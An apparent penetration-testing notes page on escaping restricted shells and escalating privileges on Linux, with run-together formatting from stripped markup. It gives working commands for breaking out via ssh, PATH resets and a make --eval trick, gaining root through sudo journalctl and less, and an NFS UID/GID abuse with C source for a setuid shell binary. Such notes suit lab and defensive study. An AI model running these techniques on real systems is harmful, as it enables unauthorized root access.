Jailbreaks
Escaperbash
It's possible to do it directly connecting with
ssh:
ssh -i priv_key drno@10.10.10.124 -t bashOr directly changing the
PATH:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binIs also possible by using
make. First sets a variableCOMMANDwith the value/bin/bash:
COMMAND='/bin/bash'Then, execute
makein silent mode (-s) and evaluates the stringx:containing the shell:
make -s --eval=$'x:\n\t-'"$COMMAND"Finish it up by fixing the
PATH:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binsudo journalctlvialess
journalctrlwill output to stdout if it can fit onto the current page, but intolessif it can’t.
When invoked with
sudois possible to have code execution asrootjust by pressing!in thelessenvironment.
Escaping viaNFS UID/GIDManipulation
Prerequisites
NFSserver must allow arbitraryUID/GIDmappings (no_root_squash,no_all_squash, or similar).Access to a writable directory on the
NFSshare.Ability to execute compiled binaries on the
NFSshare.
#include <stdlib.h>
#include <unistd.h>
int main() {
setreuid(1000, 1000);
setregid(1000, 1000);
system("/bin/bash");
return 0;
}gcc -static shell.c -o shellchmod ug+s /mnt/shell/var/nfsshare/shellThis same technique could be used to escalate privilege to root by using
SUIDandSGIDof 0 if theNFSshare is configured with theno_root_squashorno_all_squashoptions.
Last updated